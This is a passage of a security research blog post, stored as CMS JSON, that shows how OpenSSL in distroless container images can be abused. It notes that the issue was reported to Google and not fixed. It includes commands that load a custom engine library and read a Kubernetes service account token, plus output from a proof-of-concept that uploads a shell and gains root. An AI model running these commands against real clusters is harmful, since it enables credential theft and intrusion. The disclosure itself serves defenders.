hostname.",[796],{"start":797,"end":672,"type":439},47,"rich_text$f3396bca-68b9-498b-8415-ee2fa37703db",{"variation":419,"version":420,"items":800,"primary":801,"id":806,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":802},[803],{"type":511,"text":804,"spans":805},"% docker exec -it demo \u002Fusr\u002Fbin\u002Fopenssl engine \u002Ftmp\u002Fhostname.so\nHostname: d68dc92b5c99(\u002Ftmp\u002Fhostname.so) \u003CNULL>",[],"code_block$e1c0f3d1-58d1-4243-b455-84cdfa27f4e0",{"variation":419,"version":420,"items":808,"primary":809,"id":825,"slice_type":469,"slice_label":13},[],{"body":810},[811,814,817,820],{"type":475,"text":812,"spans":813},"Attack scenarios",[],{"type":452,"text":815,"spans":816},"In a command injection attack, when an application running on a distroless base image executes unsafe user-supplied data, an adversary can abuse OpenSSL to perform actions otherwise not possible, like reading files or instaling custom attack tools.",[],{"type":452,"text":818,"spans":819},"In a scenario where an adversary has obtained access to a Kubernetes cluster, he can abuse OpenSSL installed on the distroless base image to read the service account tokens, secrets injected or mounted in the filesystem and even gain interactive command execution by uploading a custom shell.",[],{"type":425,"text":821,"spans":822},"Reading the Kubernets service account token using OpenSSL.",[823],{"start":17,"end":824,"type":673},58,"rich_text$8030044c-14f2-4db1-991b-70e39b430610",{"variation":419,"version":420,"items":827,"primary":828,"id":833,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":829},[830],{"type":511,"text":831,"spans":832},"% kubectl exec -it distroless -- \u002Fusr\u002Fbin\u002Fopenssl enc -in \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\neyJhbGciOiJSUzI1NiIsImtpZCI6ImRpTVR5QnNxcXhLUjNzYUFSYW14TGdoZHZLNkJ6aTVD\n[...snip...]",[],"code_block$f678c148-f390-41c4-85d1-e725c98401e2",{"variation":419,"version":420,"items":835,"primary":836,"id":843,"slice_type":469,"slice_label":13},[],{"body":837},[838],{"type":425,"text":839,"spans":840},"Gaining interactive command execution by uploading a custom shell.",[841],{"start":17,"end":842,"type":673},66,"rich_text$db1ea714-0f6b-4906-81a6-c3649740b8a9",{"variation":419,"version":420,"items":845,"primary":846,"id":851,"slice_type":515,"slice_label":13},[],{"language_label":13,"code":847},[848],{"type":511,"text":849,"spans":850},"python3 poc.py\n[*] Uploading the shell\n[*] Uploading the payload\n[*] Executing the payload\n[*] Getting a shell\n# set\nGOTRACEBACK='single'\nHOME='\u002Froot'\nHOSTNAME='distroless'\nIFS=' \n'\nKUBERNETES_PORT='tcp:\u002F\u002F10.43.0.1:443'\nKUBERNETES_PORT_443_TCP='tcp:\u002F\u002F10.43.0.1:443'\nKUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'\nKUBERNETES_PORT_443_TCP_PORT='443'\nKUBERNETES_PORT_443_TCP_PROTO='tcp'\nKUBERNETES_SERVICE_HOST='10.43.0.1'\nKUBERNETES_SERVICE_PORT='443'\nKUBERNETES_SERVICE_PORT_HTTPS='443'\nLINENO=''\nOPTIND='1'\nPATH='\u002Fusr\u002Flocal\u002Fsbin:\u002Fusr\u002Flocal\u002Fbin:\u002Fusr\u002Fsbin:\u002Fusr\u002Fbin:\u002Fsbin:\u002Fbin'\nPPID='0'\nPS1='# '\nPS2='> '\nPS4='+ '\nPWD='\u002F'\nSSL_CERT_FILE='\u002Fetc\u002Fssl\u002Fcerts\u002Fca-certificates.crt'\nTERM='xterm'\n#",[],"code_block$a50e1547-50d9-4ea9-956e-5d161b757a9e",{"variation":419,"version":420,"items":853,"primary":854,"id":870,"slice_type":469,"slice_label":13},[],{"body":855},[856,859],{"type":475,"text":857,"spans":858},"Conclusion",[],{"type":425,"text":860,"spans":861},"Not all Distroless images (static, base, ...) are created equal, and this should be taken into account when selecting a base image for critical projects. This issue was reported to Google in August 2021 and Google decided not to fix it.",[862,865],{"start":676,"end":456,"type":431,"data":863},{"link_type":433,"url":864,"target":435},"https:\u002F\u002Fgcr.io\u002Fdistroless",{"start":866,"end":867,"type":431,"data":868},181,187,{"link_type":433,"url":869,"target":435},"https:\u002F\u002Fissuetracker.google.com\u002Fissues\u002F195646411","rich_text$4b3610e6-038e-4b7d-b53b-6bacae72226b",{"variation":419,"version":420,"items":872,"primary":873,"id":913,"slice_type":469,"slice_label":13},[],{"body":874},[875,878,884,890,897,903,907],{"type":475,"text":876,"spans":877},"Further resources",[],{"type":452,"text":879,"spans":880},"https:\u002F\u002Fkubernetes.io",[881],{"start":17,"end":792,"type":431,"data":882},{"link_type":433,"url":883},"https:\u002F\u002Fkubernetes.io\u002F",{"type":452,"text":885,"spans":886},"https:\u002F\u002Fwww.openssl.org",[887],{"start":17,"end":682,"type":431,"data":888},{"link_type":433,"url":889},"https:\u002F\u002Fwww.openssl.org\u002F",{"type":452,"text":891,"spans":892},"https:\u002F\u002Fwww.docker.com",[893],{"start":17,"end":894,"type":431,"data":895},22,{"link_type":433,"url":896},"https:\u002F\u002Fwww.docker.com\u002F",{"type":452,"text":898,"spans":899},"https:\u002F\u002Fgtfobins.github.io\u002Fgtfobins\u002Fopenssl",[900],{"start":17,"end":901,"type":431,"data":902},43,{"link_type":433,"url":898},{"type":452,"text":458,"spans":904},[905],{"start":17,"end":489,"type":431,"data":906},{"link_type":433,"url":458},{"type":452,"text":908,"spans":909},"https:\u002F\u002Fowasp.org\u002Fwww-community\u002Fattacks\u002FCode_Injection",[910],{"start":17,"end":911,"type":431,"data":912},54,{"link_type":433,"url":908},"rich_text$1100d74f-973e-46da-b2c4-6715508e393e",1788466508105]